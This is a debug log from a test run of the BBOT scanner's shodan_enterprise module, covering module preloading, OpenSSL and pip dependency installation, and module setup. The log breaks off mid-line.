/Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:21:34,594 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:21:34,595 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:21:34,595 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:21:34,597 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:21:34,598 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:21:34,600 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:21:34,602 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:21:34,602 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:21:34,604 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:21:34,605 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:21:34,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:21:34,609 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:21:34,613 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:21:34,614 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:21:34,617 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:21:34,618 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:21:34,620 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:21:34,621 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:21:34,623 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:21:34,624 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:21:34,626 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:21:34,626 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:21:34,627 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:21:34,628 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:21:34,630 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:21:34,630 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:21:34,632 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:21:34,633 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:21:34,634 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:21:34,635 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:21:34,636 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:21:34,638 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:21:34,639 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:21:34,640 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:21:34,641 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:21:34,642 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:21:34,643 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:21:34,645 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:21:34,645 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:21:34,646 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:21:34,648 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:21:34,649 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:21:34,650 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:21:34,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:21:34,652 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:21:34,653 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:21:34,654 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:21:34,655 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:21:34,656 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:21:34,657 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:21:34,657 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:21:34,659 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:21:34,660 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:21:34,661 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:21:34,662 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:21:34,663 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:21:34,664 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:21:34,665 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:21:34,665 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:21:34,666 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:21:34,667 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:21:34,668 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:21:34,669 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:21:34,675 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:21:34,676 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:21:34,677 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:21:34,678 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:21:34,679 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:21:34,680 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:21:34,681 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:21:34,682 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:21:34,683 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:21:34,684 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:21:34,685 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:21:34,686 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:21:34,687 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:21:34,689 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:21:34,690 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:21:34,691 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:21:34,692 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:21:34,693 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:21:34,693 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:21:34,694 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:21:34,695 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:21:34,696 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:21:34,698 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:21:34,699 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:21:34,699 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:21:34,700 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:21:34,708 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:21:34,709 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:21:34,710 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:21:34,711 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:21:34,713 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:21:34,714 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:21:34,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:21:34,716 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:21:34,717 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:21:34,718 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:21:34,720 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:21:34,721 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:21:34,723 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:21:34,724 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:21:34,725 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:21:34,726 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:21:34,727 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:21:34,727 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:21:34,728 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:21:34,729 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:21:34,730 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:21:34,731 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:21:34,732 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:21:34,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:21:34,734 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:21:34,734 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:21:34,736 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:21:34,738 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:21:34,739 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:21:34,740 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:21:34,741 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:21:34,742 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:21:34,743 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:21:34,744 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:21:34,745 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:21:34,746 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:21:34,747 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:21:34,748 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:21:34,748 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:21:34,749 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:21:34,750 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:21:34,751 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:21:34,753 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:21:34,754 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:21:34,755 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:21:34,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:21:34,757 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:21:34,758 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:21:34,759 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:21:34,760 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:21:34,761 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:21:34,761 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:21:34,762 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:21:34,764 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:21:34,765 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:21:34,766 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:21:34,767 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:21:34,768 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:21:34,769 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:21:34,770 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:21:34,771 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:21:34,772 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:21:34,773 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:21:34,774 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:21:34,775 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:21:34,776 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:21:34,777 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:21:34,778 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:21:34,779 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:21:34,779 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:21:34,780 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:21:34,781 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:21:34,782 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:21:34,783 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:21:34,784 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:21:34,785 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:21:34,787 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:21:34,788 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:21:34,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:21:34,789 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:21:34,966 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4432378224 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:21:34,967 [DEBUG] filelock _api.py:334 Lock 4432378224 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:21:34,970 [DEBUG] filelock _api.py:364 Attempting to release lock 4432378224 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:21:34,970 [DEBUG] filelock _api.py:367 Lock 4432378224 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:21:36,213 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:21:36,214 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:21:36,214 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:21:36,384 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:21:37,001 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:21:37,002 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:21:37,222 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:21:37,223 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:21:37,334 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:21:37,334 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:21:37,386 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 21:21:37,396 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:21:37,397 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:21:38,047 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:21:38,048 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:21:48,752 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:21:48,753 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:21:48,754 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:21:50,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:21:50,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:21:50,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:21:50,800 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:21:50,800 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:21:50,800 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:21:50,804 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/wuouhf5jfy75gwta4tt0 +2026-02-27 21:21:51,808 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:21:51,809 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:21:51,809 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:21:51,810 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:21:51,811 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:21:51,931 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:21:51,931 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:21:51,931 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:21:51,934 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:21:51,934 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:21:51,935 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:21:51,936 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:21:51,936 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:21:51,937 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:21:51,938 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:21:51,938 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:21:51,939 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:21:51,939 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:21:51,940 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:21:51,940 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:21:51,941 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:21:51,941 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:21:51,941 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:21:51,942 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:21:51,942 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:21:51,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:21:51,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 